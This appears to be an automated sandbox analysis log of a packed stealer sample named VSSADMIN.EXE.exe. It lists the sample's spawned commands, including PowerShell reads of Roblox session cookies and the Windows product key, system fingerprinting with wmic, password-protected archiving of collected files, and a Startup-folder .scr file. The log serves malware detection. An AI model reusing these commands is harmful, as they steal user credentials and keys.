Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCCB6.tmp" "c:\Users\user\AppData\Local\Temp\ozweafg0\CSCCDFC3EC49286452EA176429826C32718.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe a -r -hp"Zsombec1234" "C:\Users\user\AppData\Local\Temp\7sLxM.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

Code function: 59_2_00007FF6EE77B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

59_2_00007FF6EE77B340

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI68562\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\Desktop\VSSADMIN.EXE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
